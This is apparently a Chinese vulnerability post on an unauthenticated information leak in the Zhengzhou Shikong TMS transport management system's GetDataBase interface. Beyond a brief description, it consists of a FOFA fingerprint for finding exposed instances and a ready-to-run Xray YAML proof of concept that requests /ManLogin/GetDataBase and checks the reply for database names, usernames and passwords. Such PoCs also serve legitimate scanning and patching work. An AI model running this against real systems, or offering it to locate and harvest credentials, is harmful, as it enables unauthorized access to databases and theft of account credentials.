郑州时空-TMS运输管理系统 GetDataBase 信息泄露漏洞

　　参考链接：

　　https://blog.csdn.net/ZeroDay001/article/details/144893917

漏洞介绍：

 郑州时空-TMS运输管理系统 GetDataBase 接口存在信息泄露漏洞，未经身份验证攻击者可通过该漏洞读取系统内部数据库文件，泄露账号密码等重要凭证，导致网站处于极度不安全状态。

资产指纹：

　　 body="/Images/ManLogin/name.png"　　　　

 Xray-poc:

 

name: poc-yaml-zhengzhou-time-manage-system-getdatabase-leak
transport: http
rules:
  r0:
    request:
      method: GET
      path: /ManLogin/GetDataBase
      follow_redirects: false
    expression: >-
      response.status == 200 && response.body_string.contains("dataname\":") && response.body_string.contains("datausername\":") && response.body_string.contains("datauserpwd\":")
expression: r0()
detail:
  author: Cysec
  links:
    - https://blog.csdn.net/ZeroDay001/article/details/144893917
  description: 郑州时空-TMS运输管理系统 GetDataBase 信息泄露漏洞
  fofakeywords: body="/Images/ManLogin/name.png"